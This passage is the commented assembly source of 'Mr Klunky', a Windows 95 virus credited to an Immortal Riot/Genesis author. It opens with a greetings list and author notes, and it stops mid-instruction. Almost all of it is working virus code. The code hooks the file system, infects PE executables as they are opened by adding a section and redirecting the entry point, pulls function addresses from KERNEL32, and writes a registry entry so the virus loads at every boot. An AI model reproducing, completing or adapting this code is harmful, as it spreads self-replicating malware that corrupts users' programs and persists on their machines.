Windows 95. + o No infected file will run under NT |] + + To do's o Just look at the "Features" section! + o Other bits I removed to go back in. + o Some alternative (and even more compatable) ideas to be + tried instead of the approaches used. + + Greetz o Sepultura (look! It's ready for the Zine!) + o Metabolis (Injected with the poison.) + o Qark (Hullo? Anyone seen this worthy?) + o TZ (Sigh... Repetition.) + o Priest (Where TF are you anyway??) + o Dark Angel (Everyone seems to have vanished!) + o Halflife (Wewp! A live one!) + o Jookie (Hey dude.) + o KD (Told ya this was here!) + o Quantum (Hope ya like Mr K bud.) + o The Unforgiven (Email, email, email...) + o Anyone else I missed ;] You all know I love you |} + + Other notes o Please remember that this is an, um, scholarly version + only. It won't last 5 minutes in the wild, so don't even + think of releasing it or of criticising me for anything + about it! + o Make sure you read the article first! + o Be damn careful if you play with a non-debug version! + I infected my machine inadvertantly heaps of times :( + Twice it was with a non-debug version. Doh! Had to restore + from backup! + o Enjoy! + + -DV8/IRG + +@ + .386p + + .XLIST + INCLUDE VMM.Inc + INCLUDE IFSMGR.Inc + .LIST + + + + + + +; *** VxD code starts here *** + +; This file (up to the MrK_PE_Code_Start label) comprises the VxD portion +; of Mr Klunky. The section from the MrK_PE_Code_Code_Start label is (to +; the VxD portion) data and of little import. + +; The VxD portion (once loaded into memory) hooks into the file system. + +; Whenever a file is opened for any reason (Windows 95 always opens a +; file before executing it) it is investigated and (if it's a PE file +; meeting the appropriate criteria - including not already infected) +; infected. + +; The infection process is, in essence, simple. The headers of the file +; are processed and a new section is created. + +; Next a portion of code (beginning at the MrK_PE_Code_Start label) is +; written to the new program entry point (this code is slightly modified +; so control can passed back to the victim correctly). Immediately +; following this will be written the VxD code. + +; Finally the modified header area will be written back to the beginning +; of program. + +; The program will now be allowed to execute normally. + + + +; If this line is uncommented Mr Klunky will generate a file (C:\LOG.LOG) +; containing the drive, path and name of every file infected - it will also +; allow MrKlunky to be dynamically unloaded. +MRK_Debug equ 00h + + + +; If this line is uncommented Mr Klunky will infect .DLL files (SLOW!). +;MRK_Infect_DLLs equ 00h + + + +; Various internally used equations. +MRK_Infected_Marker equ 00F00F00h + + +; Equations used in traversing the contents of PE files. +MZ_HeaderSize equ 40h +PE_HeaderSize equ 18h +PE_OptionalHeaderSize equ 5Fh +PE_TotalHeaderSize equ (PE_HeaderSize + PE_OptionalHeaderSize) + +PE_NumberOfSections equ 06h +PE_SizeOfOptionalHeader equ 14h + +PE_SizeOfCode equ (PE_HeaderSize + 04h) +PE_AddressOfEntryPoint equ (PE_HeaderSize + 10h) +PE_SectionAlignment equ (PE_HeaderSize + 20h) +PE_FileAlignment equ (PE_HeaderSize + 24h) +PE_SizeOfImage equ (PE_HeaderSize + 38h) +PE_SizeOfHeaders equ (PE_HeaderSize + 3Ch) + +Prev_VirtualSize equ (-28h + 08h) +Prev_VirtualAddress equ (-28h + 0Ch) +Prev_SizeOfRawData equ (-28h + 10h) +Prev_PointerToRawData equ (-28h + 14h) + + + +; Size of the binary data patched into any infected PE EXE. +PE_Patch_Size equ (_lpStoredVxD - MrK_PE_Code_Start) +MaxStringLen equ 1000d + + + +; Function ordinal definitions. +IFS_Open equ 24h + + + +; Set some build options and declare the device and it's characteristics. + ; Major version is 1. + MrK_MajVer equ 1 + + ; Minor version depends on compile options. + IFNDEF MrK_Infect_DLLs + IFNDEF MrK_Debug + MrK_MinVer equ 0 + ELSE + MrK_MinVer equ 1 + ENDIF + ELSE + IFNDEF MrK_Debug + MrK_MinVer equ 2 + ELSE + MrK_MinVer equ 3 + ENDIF + ENDIF + + ; My device ID. + MrKlunky_Device_ID equ 0D00Dh + + ; Declare the VxD entry point and other characteristics. + Declare_Virtual_Device MRKLUNKY, MrK_MajVer, MrK_MinVer, \ + MRKLUNKY_Control, MrKlunky_Device_ID + + + +; Put *everything* in a locked data segment. This way nothing is paged +; and all code is read/write. +VxD_LOCKED_DATA_SEG + + ; Locked code segment for the code. + VxD_LOCKED_CODE_SEG + + ; Control dispatch setup. + BeginProc MRKLUNKY_Control + + ; Handler for system boot device initialisation. + Control_Dispatch INIT_COMPLETE, MRKLUNKY_Device_Init + + ; Handler for dynamic device initialisation. + Control_Dispatch SYS_DYNAMIC_DEVICE_INIT, MRKLUNKY_Device_Init + +; If the MRK_Debug equation exists allow the VxD +; to be dynamically unloaded. +IFDEF MRK_Debug + ; Handler to dynamically unload Mr Klunky (Debug version only). + Control_Dispatch SYS_DYNAMIC_DEVICE_EXIT, MRKLUNKY_System_Exit +ENDIF + + ; Handler to unload Mr Klunky when the system shuts down. + Control_Dispatch SYSTEM_EXIT, MRKLUNKY_System_Exit + + ; Default to success for unhandled events. + clc + ret + EndProc MRKLUNKY_Control + + + + ; Initialise routine for dynamic/system load. + BeginProc MRKLUNKY_Device_Init + ; Try to open my driver in the Windows + ; System dir. + VMMCall Get_Exec_Path ; Get VMM32.VxD (system) path. + call DeriveNameAndOpen ; Open Mr K in there. + jnc VxDFileOpen ; On success continue. + + ; Try to open my driver in the Windows dir. + VMMCall Get_Config_Directory ; Get config (Windows) path. + call DeriveNameAndOpen ; Open Mr K in there. + jnc VxDFileOpen ; On success continue. + + ; Try to open my driver in the current dir. + mov esi, offset _lpMrKlunkyFileName ; Try in the current dir. + call R0_OpenFileRead ; + jc InstallFail ; Error exit. + + VxDFileOpen: + ; Get my size. + mov eax, 0D800h ; R0_GETFILESIZE + VxDCall IFSMgr_Ring0_FileIO ; + jc InstallFail_Close ; Error exit. + mov _ddMrK_VxD_Size, eax ; Save size. + mov _dwMrK_VxD_Size, ax ; Save size. + xchg ecx, eax ; ESI = file size. + + ; Allocate memory. + call R0_Alloc ; + je InstallFail_Close ; Error exit. + mov lpVxDBuffer, esi ; Save handle. + + ; Read me. + call R0_ReadFromStart ; + jc InstallFail_Close ; Error exit. + + ; Close the file. + mov eax, 0D700h ; R0_CLOSEFILE + VxdCall IFSMgr_Ring0_FileIO ; + + ; Hook into the file monitoring system. + mov eax, offset MRKLUNKY_FileHandler ; Install our API hook. + push eax ; + VxDCall IFSMgr_InstallFileSystemApiHook ; + add esp, 4 ; Restore stack. + ; + mov NextIFSHook, eax ; Save address of next hooker. + ; + or eax, eax ; EAX = 0? + jz InstallFail ; Yep. Failed. + + clc ; Success! + ret ; Back to VxDLdr... + + InstallFail_Close: + ; Close the file. + mov eax, 0D700h ; R0_CLOSEFILE + VxdCall IFSMgr_Ring0_FileIO ; + + InstallFail: + stc ; Failure! + ret ; Back to VxDLdr... + EndProc MRKLUNKY_Device_Init + + + + ; Deinitialise routine for system shutdown. + BeginProc MRKLUNKY_System_Exit + ; Dealloc buffer. + mov esi, lpVxDBuffer ; Handle to buffer. + call R0_Dealloc ; + + ; Remove our file monitoring hook. + mov eax, offset MRKLUNKY_FileHandler ; Uninstall our API hook. + push eax ; + VxDCall IFSMgr_RemoveFileSystemApiHook ; + add esp, 4 ; Restore stack. + ; + or eax, eax ; EAX=0? + jnz UninstallFail ; Nope. Failure. + + clc ; Success! + ret ; Back to VxDLdr... + + UninstallFail: + stc ; Failure! + ret ; Back to VxDLdr... + EndProc MRKLUNKY_System_Exit + + + + ; Builds a filespec for Mr Klunky's VxD in + ; the dir pointed to by EDX. + BeginProc DeriveNameAndOpen + + ; Go to terminating NUL. + mov ecx, MaxStringLen ; Max 1000 characters. + mov edi, edx ; EDI = EDX = Filespec. + xor al, al ; Look for 0. + repne scasb ; + sub edi, edx ; + + ; Save these. + push edi ; + push edx ; + + ; Allocate a buffer of heap space. + mov ecx, MaxStringLen ; 1000 chars should be ample. + call R0_Alloc ; + + ; Restore saved regs to different regs. + pop edi ; Was EDX. + pop ecx ; Was EDI. + + je DNAOExit ; + + ; Save all registers. + pushad ; + + ; Copy the source dir into the temp buffer. + xchg esi, edi ; Swap ESI & EDI. + push edi ; < Save these. + push ecx ; < + rep movsb ; ECX = source str length. + pop ecx ; < Restore these. + pop edi ; < + + ; Go to terminating NUL. + push ecx ; Save this. + xor al, al ; NUL. + repne scasb ; Find it. + pop eax ; Was ECX. + + ; Go back to last '\'. + sub eax, ecx ; < ECX = Length of string. + xchg ecx, eax ; < + mov al, '\' ; + std ; Scan backwards. + repne scasb ; + cld ; Normal string direction. + add edi, 2 ; Char just after '\'. + + ; Append 'MrKlunky.VxD' to constructed dir. + mov esi, offset _lpMrKlunkyFileName ; From here. + mov ecx, 13d ; This many chars. + rep movsb ; + + ; Restore all registers. + popad ; + + ; Open the file. + call R0_OpenFileRead ; ESI = our string. + + ; Deallocate the buffer, retaining flags. + pushf ; + call R0_Dealloc ; ESI = our buffer. + popf ; + + DNAOExit: + ret + EndProc DeriveNameAndOpen + + + + ; Opens file specified by [ESI] for + ; read, returns handle in EBX. + BeginProc R0_OpenFileRead + mov ebx, 0000FF00h ; Compat read, return errors. + mov edx, 00000001h ; No cache, open existing. + + jmp R0_OpenFile ; Continue. + + ; Opens file specified by [ESI] for + ; read/write, returns handle in EBX. + BeginProc R0_OpenFileWrite + mov ebx, 0000FF02h ; Compatable read, commit on + ; write, return errors. + + mov edx, 00000011h ; R0_NO_CACHE, open existing. + + R0_OpenFile: + mov eax, 0D501h ; R0_OPENCREAT_IN_CONTEXT + xor ecx, ecx ; No attributes. + VxDCall IFSMgr_Ring0_FileIO ; + + xchg ebx, eax ; EBX = return value (handle). + ret + EndProc R0_OpenFileWrite + EndProc R0_OpenFileRead + + + + ; Returns a handle to a heap buffer of the + ; requested size in ESI, if possible. + ; + ; Returns equal on error. + BeginProc R0_Alloc + push ecx ; Save this. + + push HEAPSWAP ; Swappable memory. + push ecx ; This size. + VMMCall _HeapAllocate ; + add esp, (4*2) ; Restore stack. + + cmp eax, 0 ; Error returned? + xchg eax, esi ; Handle in ESI. + + pop ecx ; restore this. + ret + EndProc R0_Alloc + + + + ; Free up previously allocated heap buffer, + ; requires handle in ESI. + BeginProc R0_Dealloc + push 0 ; Reserved. + push esi ; Free this buffer. + VMMCall _HeapFree ; + add esp, (4*2) ; Restore stack. + ret + EndProc R0_Dealloc + + + + ; Resize and existing heap buffer ([ESI]) + ; to the size in ECX. + BeginProc R0_ReAlloc + push ecx ; Save this. + + push HEAPNOCOPY ; Don't bother copying old buffer. + push ecx ; Resize to this. + push esi ; Handle to old buffer. + VMMCall _HeapReAllocate ; + add esp, (4*3) ; Restore stack. + + xchg eax, esi ; ESI=Return value. + cmp esi, 0 ; Error check. + + pop ecx ; Restore it. + ret + EndProc R0_ReAlloc + + + + ; Read ECX bytes from open file (EBX = handle), + ; from beginning of file. + BeginProc R0_ReadFromStart + xor edx, edx ; From file start. + mov eax, 0D600h ; R0_READFILE + VxDCall IFSMgr_Ring0_FileIO ; + + ret + EndProc R0_ReadFromStart + + + + ; Just so everyone knows + CopyRight db 13d, 13d + db "[Mr Klunky v", '0' + MrK_MajVer, ".0" + db '0' + MrK_MinVer, "]", 13d + db "Copyright (C) DV8 of Immortal Riot/Genesis, " + db "Friday 13th of December 1996.", 13d + db 13d + + + + ; Actual file handler. + BeginProc MRKLUNKY_FileHandler + ; Handler setup. + push ebp ; For C compatiblity. + mov ebp, esp ; + sub esp, 20h ; + + ; The following structure is passed to us on the stack and now has the + ; current positions, relative to EBP :- + ; 00h - Initial value of EBP. + ; 04h - Return address of caller. + ; 08h - Address of FSD function. + ; 0Ch - Function ID. + ; 10h - Drive. + ; 14h - Type of resource. + ; 18h - Code page. + ; 1Ch - Pointer to IOREQ record. + ; 00h(dw) - Length of user buffer. + ; 02h(db) - Status flags. + ; 03h(db) - Requests' User ID. + ; 04h(dw) - File handle's System File Number. + ; 06h(dw) - Process ID. + ; 08h(dd) - Unicode path. + ; 0Ch(dd) - Secondary data buffer. + ; 10h(dd) - Primary data buffer. + ; 14h(dw) - Handling options. + ; 16h(dw) - Error code. + ; 18h(dw) - Resource handle. + ; 1Ah(dw) - File/find handle. + ; 1Ch(dd) - File position. + ; 20h(dd) - Extra API params. + ; 24h(dd) - Extra API params. + ; 28h(dw) - Address of IFSMgr event for async requests. + ; 2Ah(db) - Start of provider work space. + + push ebx ; Save registers. + push ecx ; + + ; Make sure we don't process our own + ; file calls. + cmp Already_Entered, 0 ; Already Entered? + jne No_Reentrancy ; Yep, don't process. + mov Already_Entered, 1 ; Nope, set entered flag. + + ; Windows 95 does a file open when any + ; program is run. + cmp dword ptr [ebp+0Ch], IFS_Open ; Is this a file open? + jne Continue ; Nope... Forget it. + + ; Allocate a buffer for the converted + ; Unicode string. + mov ecx, MaxStringLen ; 1,000 chars should be enough. + call R0_Alloc ; + je Continue ; Error exit. + mov lpNameBuffer, esi ; Save the handle. + + ; Initialise drive letter portion of + ; ASCII path. + mov ebx, esi ; EBX = ESI = Ptr to BCS buffer. + mov edx, (MaxStringLen - 1) ; Max size of output buffer. + ; + mov ecx, [ebp+10h] ; Put drive in ECX + cmp cl, 0FFh ; UNC drive? + je SkipVol ; Yep, Skip drive letter. + ; + sub edx, 2 ; Adjust max output buffer size. + ; + add cl, 40h ; < Put ASCII drive in buffer. + mov byte ptr [ebx], cl ; < + ; + inc ebx ; Skip the drive spec. + ; + mov byte ptr [ebx], 3Ah ; Follow drive letter with a ':'. + inc ebx ; + SkipVol: ; + + ; Do the actual Unicode -> ASCII. + xor ecx, ecx ; Character set (BCS_WANSI). + push ecx ; + push edx ; Max size of output buffer. + mov eax, [ebp+1Ch] ; Dereferance. + mov ecx, [eax+0Ch] ; Ptr to Unicode path (input). + add ecx, 4 ; + push ecx ; + push ebx ; Ptr to BCS buffer (output). + VxdCall UniToBCSPath ; + add esp, 4*4 ; Fix the stack. + + ; OK. It's been converted. Go to + ; string end. + mov edi, esi ; EDI = ASCII filespec. + xor al, al ; NUL + mov ecx, MaxStringLen ; 1000 char max scan. + repne scasb ; + ; + or ecx, ecx ; Did we hit buffer end? + jz DeallocContinue ; Yup. Abort. + +; If the MRK_Infect_DLLs equation exists allow +; our code to infect DLL files too. +IFDEF MRK_Infect_DLLs + ; If it's a .EXE check it. + cmp dword ptr [edi-5], "EXE." ; Is the file extension .EXE? + je PossiblePE ; Nope, skip this file. + + ; If it's a .DLL check it. + cmp dword ptr [edi-5], "LLD." ; Is the file extension .DLL? + jne DeallocContinue ; Nope, skip this file. + PossiblePE: +ELSE + ; If it's a .EXE check it. + cmp dword ptr [edi-5], "EXE." ; Is the file extension .EXE? + jne DeallocContinue ; Nope, skip this file. +ENDIF + + ; Get the file's attributes. + mov eax, 4300h ; R0_FILEATTRIBUTES,GET_ATTRIBUTES + VxDCall IFSMgr_Ring0_FileIO ; ESI = ASCII filespec. + jc DeallocContinue ; Error exit. + ; + push ecx ; Save to restore later. + + ; Nullify the attributes. + mov eax, 4301h ; R0_FILEATTRIBUTES,SET_ATTRIBUTES + xor ecx, ecx ; No attributes. + VxDCall IFSMgr_Ring0_FileIO ; + jc RestoreExit ; Error exit. + + ; Open the file. + call R0_OpenFileWrite ; + jc RestoreExit ; Abort on error. + + ; Allocate a buffer on the heap. + mov ecx, MZ_HeaderSize ; This size. + call R0_Alloc ; + je CloseFuck ; Yep, error exit. + + ; Read the DOS Header. + call R0_ReadFromStart ; + jc CloseFuck ; Exit on error. + + ; Get the size of the file. + mov eax, 0D800h ; R0_GETFILESIZE + VxDCall IFSMgr_Ring0_FileIO ; + jc CloseFuck ; Exit on error. + + ; Is it an MZ EXE? + cmp word ptr [esi], 'ZM' ; Check for MZ signature. + jne CloseFuck ; Not there. Not a PE. + + ; If already infected forget it. + cmp [esi+28h], MRK_Infected_Marker ; Our sign there? + je CloseFuck ; Yep, bibi. + + ; Get and check location of PE header. + mov ecx, [esi+3Ch] ; Get location of PE signature. + cmp ecx, 0 ; Is it zero? + je CloseFuck ; Yep, not a PE. + ; + cmp ecx, eax ; Is it greater than file size? + jg CloseFuck ; Yep, not a PE. + + ; Resize the heap buffer. + mov edi, ecx ; EDI=Start of PE header. + add ecx, PE_TotalHeaderSize ; Make room for image file header. + call R0_ReAlloc ; + je CloseFuck ; Error exit. + + ; Read the file, including all of the + ; PE image file header fields. + call R0_ReadFromStart ; + jc CloseFuck ; Exit on error. + + ; Check if it's a PE file. + cmp [esi+edi], 00004550h ; Is it "PE\0\0"? + jne CloseFuck ; Nope, not a PE. + + ; YAY! We got a Windows 95 file! + ; Resize the buffer. + mov ecx, [esi+edi+PE_SizeOfHeaders] ; Make room for Header & Sections. + call R0_ReAlloc ; + je CloseFuck ; Error exit. + + ; Read all headers and sections. + call R0_ReadFromStart ; + jc CloseFuck ; Exit on error. + + ; Mark as infected. + mov [esi+28h], MRK_Infected_Marker ; Put in our sign. + + ; Calculate space combined headers + ; occupy and space sections occupy. + xor ecx, ecx ; + mov cx, word ptr [esi+edi+PE_SizeOfOptionalHeader] + add ecx, edi ; + add ecx, PE_HeaderSize ; ECX = Combined headers' area. + sub eax, ecx ; EAX - Total_Size = Section area. + + ; Calculate number of possible section + ; entries in the area. + push ecx ; Save this for later. + xor edx, edx ; EDX:EAX = 00000000:Area_Size. + mov ecx, 28h ; + div ecx ; Section area / Section size. + + ; Check there is at least one entry spare. + xor edx, edx ; < EDX = Number of entries used. + mov dx, [esi+edi+PE_NumberOfSections] ; < + ; + cmp eax, edx ; Compare them. + jng CloseFuck ; Num used >= Num available. Bibi. + ; + cmp edx, 0FFFFh ; Max entries already? + jge CloseFuck ; Exit, no spare room. + + ; One more entry please. + inc word ptr [esi+edi+PE_NumberOfSections] + + ; Calculate end of current section entries. + xchg eax, edx ; EAX = Number of entries. + mul ecx ; + pop ecx ; Combined headers' size. + add ecx, eax ; ECX = End of section entries. + + ; Calculate Virtual Address of new section. + pushad ; Save regs. + ; + add ecx, esi ; + ; + mov eax, [ecx+Prev_VirtualAddress] ; Previous virtual address... + add eax, [ecx+Prev_VirtualSize] ; ...+ previous virtual size... + mov ebx, [esi+edi+PE_SectionAlignment] ; < .../ section alignment... + xor edx, edx ; < + div ebx ; < + inc eax ; ...+ one... + mul ebx ; ...* section alignment. + ; + mov My_VirtualAddress, eax ; Store it. + + ; Calculate the actual size of the new section. + mov eax, _ddMrK_VxD_Size ; VxD file's size... + add eax, PE_Patch_Size + MaxStringLen ; ...+ size of patch + heap... + push eax + mov ebx, [esi+edi+PE_FileAlignment] ; < .../ file alignment... + xor edx, edx ; < + div ebx ; < + inc eax ; ...+ one... + mul ebx ; ...* file alignment. + ; + mov My_SizeOfRawData, eax ; Store it. + + ; Calculate the virtual size of the new section. ? + pop eax ; VxD size + patch code size. + push eax ; + mov ebx, [esi+edi+PE_SectionAlignment] ; < .../ section alignment... + xor edx, edx ; < + div ebx ; < + inc eax ; ...+ one... + mul ebx ; ...* section alignment. + ; + mov My_PhysicalAddress, eax ; Store it. + + ; Calculate the start of the new section. + mov eax, [ecx+Prev_PointerToRawData] ; Previous section start... + add eax, [ecx+Prev_SizeOfRawData] ; ...plus previous section size. + ; + mov My_PointerToRawData, eax ; Store it. + + ; Update the image size. + pop eax + add eax, [esi+edi+PE_SizeOfImage] ; Current image size + VxD size.. + ; ..+ size of patch code. + ; + mov [esi+edi+PE_SizeOfImage], eax ; Store it. + + ; Calculate entry point. + mov eax, [ecx+Prev_VirtualAddress] ; Previous virtual address... + add eax, [ecx+Prev_VirtualSize] ; ...+ previous virtual size... + mov ebx, [esi+edi+PE_SectionAlignment] ; < .../ section alignment... + xor edx, edx ; < + div ebx ; < + inc eax ; ...+ one... + mul ebx ; ...* section alignment. + ; + push [esi+edi+PE_AddressOfEntryPoint] ; Save old entry point. + mov [esi+edi+PE_AddressOfEntrypoint], eax ; Store new entry point. + + ; Calculate integer for control return. + pop ebx ; EBX = Origional entry point. + sub eax, ebx ; New - Old. + add eax, (Magic - MrK_PE_Code_Start) ; Allow for delta position. + mov ddOrigEntry, eax ; Save it. + + ; Append the new section. + popad ; Restore registers. + ; + pushad ; Save registers. + push esi ; + push edi ; + ; + ; + xchg esi, edi ; < EDI = Position of new section. + add edi, ecx ; < + mov esi, My_Section ; ESI = Section to add. + mov ecx, (28h / 4) ; Size (in words) of a section. + rep movsd ; Do it! + + ; Write new section to the correct position in the file. + mov eax, 0D601h ; R0_WRITEFILE + mov ecx, PE_Patch_Size ; Write this many bytes. + mov esi, MrK_PE_Code_Start ; From here. + mov edx, My_PointerToRawData ; This far into the file. + VxDCall IFSMgr_Ring0_FileIO ; + jc CleanStackAndClose ; Error exit. + ; + mov eax, 0D601h ; R0_WRITEFILE + mov ecx, _ddMrK_VxD_Size ; Write this many bytes. + mov esi, lpVxDBuffer ; From here. + mov edx, My_PointerToRawData ; < This far into the file. + add edx, PE_Patch_Size ; < + VxDCall IFSMgr_Ring0_FileIO ; + jc CleanStackAndClose ; Error exit. + + ; Write the file headers back to BOF. + mov eax, 0D601h ; R0_WRITEFILE + pop edi ; + pop esi ; Write from here. + mov ecx, [esi+edi+PE_SizeOfHeaders] ; Write this many bytes. + xor edx, edx ; To file start. + VxDCall IFSMgr_Ring0_FileIO ; + +; If the MRK_Debug equation exists allow the VxD +; to keep a log of files infected. +IFDEF MRK_Debug + popad ; Restore regs. + jmp AppendLog ; Make a log entry. +ELSE + jmp AllOKClose ; All done. +ENDIF + + CleanStackAndCLose: + ; Clear crap off stack. + pop eax ; Clear crap off stack. + pop eax ; + + AllOKClose: + ; Restore regs. + popad ; + + CloseFuck: + ; Dealloc buffer. + call R0_Dealloc ; ESI = buffer handle. + + ; Close the file. + mov eax, 0D700h ; R0_CLOSEFILE + VxdCall IFSMgr_Ring0_FileIO ; EBX = handle. + + RestoreExit: + ; Restore file attributes and exit. + mov eax, 4301h ; R0_FILEATTRIBUTES,SET_ATTRIBUTES + mov esi, lpNameBuffer ; Perform on this file. + pop ecx ; Restore attributes. + VxDCall IFSMgr_Ring0_FileIO ; + + DeallocContinue: + ; Free up the buffer for the ASCII filespec. + mov esi, lpNameBuffer ; ESI = buffer. + call R0_Dealloc ; + + Continue: + mov Already_Entered, 0 ; Clear entered flag. + + No_Reentrancy: + ; Pass control to the next handler, + ; completing the origional operation. + mov ecx, 6 ; Copy the parameters onto + mov ebx, 1Ch ; the stack. This ensures + PushPos: ; a C compliant call stack. + mov eax, [ebp+ebx] ; + push eax ; + sub ebx, 4 ; + loop PushPos ; + + ; Next handler. + mov eax, NextIFSHook ; Gimme the next handler. + call [eax] ; Dereferenced call. + + BiBi: + ; Handler clean up. + pop ecx ; < Restore registers. + pop ebx ; < + + ; Back to caller. + add esp, 18h ; Clear out the space we... + leave ; grabbed and return to caller... + ret ; C style. + EndProc MRKLUNKY_FileHandler + + + + ; New section added to infected files. + My_Section equ $ + My_Name db "MrKlunky" ; This is my section's name. + My_PhysicalAddress dd 00000000h ; Unused. + My_VirtualAddress dd 00000000h ; Map to this RVA. ; * + My_SizeOfRawData dd 00000000h ; Total space used. ; * + My_PointerToRawData dd 00000000h ; Start of data. ; * + My_PointerToRelocations dd 00000000h ; < Unused. + My_PointerToLineNumbers dd 00000000h ; < + My_NumberOfRelocations dw 0000h ; < + My_NumberOfLineNumbers dw 0000h ; < + My_Characteristics dd 0E0000060h ; Exec+Read+Write+Code+Init'd. + + ; Misc data. + Already_Entered db 0 + lpVxDBuffer dd 0 + NextIFSHook dd 0 + lpNameBuffer dd 0 + + + +; If the MRK_Debug equation exists allow the VxD +; to keep a log of files infected. +IFDEF MRK_Debug + BeginProc AppendLog + ; Close the file. ; + mov eax, 0D700h ; R0_CLOSEFILE + VxdCall IFSMgr_Ring0_FileIO ; + + ; Log all files processed. ; + pushfd ; + pushad ; + + ; Go to string end. ; + mov edi, lpNameBuffer ; Go to the terminating 0. + xor al, al ; + mov ecx, MaxStringLen ; + repne scasb ; + + ; Error check. + or ecx, ecx ; Did we hit buffer end? + jz xContinue ; Yup. Abort. + + ; New line. + mov al, 13d ; Terminate with a CR... + stosb ; ...for log file. + + ; How many chars to write. + mov eax, MaxStringLen ; 1000 - str len + 1. + sub eax, ecx ; + inc eax ; + push eax ; + + ; Open log file. + mov eax, 0D501h ; R0_OPENCREAT_IN_CONTEXT + mov bl, 02 ; Open for R/W in compatable mode. + mov bh, 0FFh ; Commit on write, return errors. + xor cx, cx ; File will have no attributes. + mov dl, 11h ; Create or Open. + xor dh, dh ; nope -> R0_NO_CACHE + mov esi, offset LogFile ; Name of file to open. + VxDCall IFSMgr_Ring0_FileIO ; + ; + jc xContinue ; Abort on error. + xchg ebx, eax ; EBX = EAX = file handle. + + ; Get the size of the file. + mov eax, 0D800h ; R0_GETFILESIZE + VxdCall IFSMgr_Ring0_FileIO ; + + ; Write the string to the end of the file. + xchg edx, eax ; EDX = Start write at file size. + mov eax, 0D603h ; R0_WRITEFILE_IN_CONTEXT. + mov esi, lpNameBuffer ; Write from here. + pop ecx ; Num bytes to write + VxdCall IFSMgr_Ring0_FileIO ; + + xCloseFuck: + ; Close the log file. + mov eax, 0D700h ; R0_CLOSEFILE + VxdCall IFSMgr_Ring0_FileIO ; + + xContinue: + ; Restore regs and flags. + popad ; + popfd ; + + ; Dealloc buffer. + call R0_Dealloc ; + + jmp RestoreExit + EndProc AppendLog + + ; Filespec of log file. + LogFile db 'C:\LOG.LOG',0 ; + +ENDIF + + + + + + +MrK_PE_Code_Start: +; *** PE patch code starts here *** + +; The rest of the file is patched by the VxD and written to the new entry +; point of an infected program. + +; It's job is to extract necessary function entry points from KERNEL32.DLL +; and use these to create the VxD file in the appropriate system directory +; (if it doesn't exist). It then loads the VxD file into memory and places +; an entry into the registry - ensuring that Mr Klunky is loaded every time +; Windows 95 boots. + +; Finally control is passed to the origional host program. + + + +; Use equations to calculate actual offsets of data items. +lpMrKlunkyLoad equ (_lpMrKlunkyLoad - _Magic) +lpMrKlunkyVxd equ (_lpMrKlunkyVxd - _Magic) +lpMrKlunkyFileName equ (_lpMrKlunkyFileName - _Magic) +dbZeroByte equ (_dbZeroByte - _Magic) +lpK32Name equ (_lpK32Name - _Magic) +lpCloseHandle equ (_lpCloseHandle - _Magic) +lpCreateFileA equ (_lpCreateFileA - _Magic) +lpFlushFileBuffers equ (_lpFlushFileBuffers - _Magic) +lpGetLastError equ (_lpGetLastError - _Magic) +lpGetSystemDirectoryA equ (_lpGetSystemDirectoryA - _Magic) +lpGetWindowsDirectoryA equ (_lpGetWindowsDirectoryA - _Magic) +lpSetEndOfFile equ (_lpSetEndOfFile - _Magic) +lpWriteFile equ (_lpWriteFile - _Magic) +lpAA32Name equ (_lpAA32Name - _Magic) +lpRegCloseKey equ (_lpRegCloseKey - _Magic) +lpRegCreateKeyExA equ (_lpRegCreateKeyExA - _Magic) +lpRegSetValueExA equ (_lpRegSetValueExA - _Magic) +;lpFilePathBuffer equ (_lpFilePathBuffer - _Magic) +dwNumBytesWritten equ (_dwNumBytesWritten - _Magic) +lpStoredVxD equ (_lpStoredVxD - _Magic) +dwBaseAddr equ (_dwBaseAddr - _Magic) +dwModHandle equ (_dwModHandle - _Magic) +dwUnnamedOffset equ (_dwUnnamedOffset - _Magic) +dwRegHandle equ (_dwRegHandle - _Magic) +lpStart equ (_lpStart - _Magic) +lpMrKlunkyKey equ (_lpMrKlunkyKey - _Magic) +lpStaticVxD equ (_lpStaticVxD - _Magic) +dwGetProc equ (_dwGetProc - _Magic) +lpGetProc_Rec equ (_lpGetProc_Rec - _Magic) +dwGetMod equ (_dwGetMod - _Magic) +lpGetMod_Rec equ (_lpGetMod_Rec - _Magic) +ddMrK_VxD_Size equ (_ddMrK_VxD_Size - _Magic) + + + + ; New entry point of all infected programs. + Mr_Klunky PROC + ; Save stuff. + push eax ; This will be the return address. + pushad ; Save all registers. + + ; Voodoo! + call Magic ; Get delta offset. + Magic: ; + _Magic equ $ ; + pop ebp ; + + ; Find KERNEL32.DLL's PE header, start + ; where it is loaded. + Get_K32_PE_Header: + mov edi, 0BFF70000h ; Start in KERNEL32's area. + mov ecx, 00001000h ; Scan this many bytes. + mov eax, 00004550h ; Scan for "PE\0\0" + + Find_PE: + repne scasb ; Scan for "P". + jne RestoreHost ; Bomb if not found. + + cmp [edi-1], eax ; Is this dword "PE/0/0"? + jne Find_PE ; Nope, scan next sequence. + + ; Do some checks to make sure this really + ; is the PE header. + Verify_PE_Header: + dec edi ; Back to PE signature. + + ; Check machine word. + cmp word ptr [edi+4], 014Ch ; Is machine word i386? + jne Find_PE ; Nope, keep searching. + + ; Check optional header word. + cmp word ptr [edi+14h], 0 ; Is there an optional header? + je Find_PE ; Nope, keep searching. + + ; Check characteristic word. + mov bx, word ptr [edi+16h] ; Get characteristics word. + and bx, 0F000h ; Unmask the bytes we need. + cmp bx, 2000h ; Is it 2000h (a DLL)? + jne Find_PE ; Nope, keep searching. + + ; Check image base field. + cmp dword ptr [edi+34h], 0BFF70000h ; Image Base > KERNEL32 base? + jl Find_PE ; Nope, keep searching. + + ; It certainly is the PE header. Now locate + ; the export data (.edata) section. + Find_Export_Section: + + ; Save base address for use with RVAs. + mov eax, [edi+34h] ; Get the base address. + mov [ebp+dwBaseAddr], eax ; Save it. + + ; Go to KERNEL32.DLL's first section. + xor eax, eax ; Go to first section. + mov ax, [edi+14h] ; + add eax, edi ; + add eax, 18h ; + + mov cx, [edi+06h] ; Set up num sections to check. + + CheckSectionSignature: + cmp [eax], 'ade.' ; Is this dword ".eda"? + jne CheckNextSection ; Nope. Next secton. + + cmp dword ptr [eax+4], 00006174h ; "ta\0\0" + je ExtractExportFunctions ; Yes. Found the export section. + + CheckNextSection: + add eax, 28h ; Next section please. + dec cx ; Section checked. + + cmp cx, 0 ; Counter reached zero? + jne CheckSectionSignature ; No. Check next section. + + jmp RestoreHost ; Doh! No sections left. Bye. + + ; Now that we have the export section we + ; need to extract the address of our two + ; functions from it. This means we must + ; traverse both the name array and address + ; array. + ExtractExportFunctions: + ; Go to the export section. + mov ebx, [eax+0Ch] ; Section Virtual Address. + add ebx, 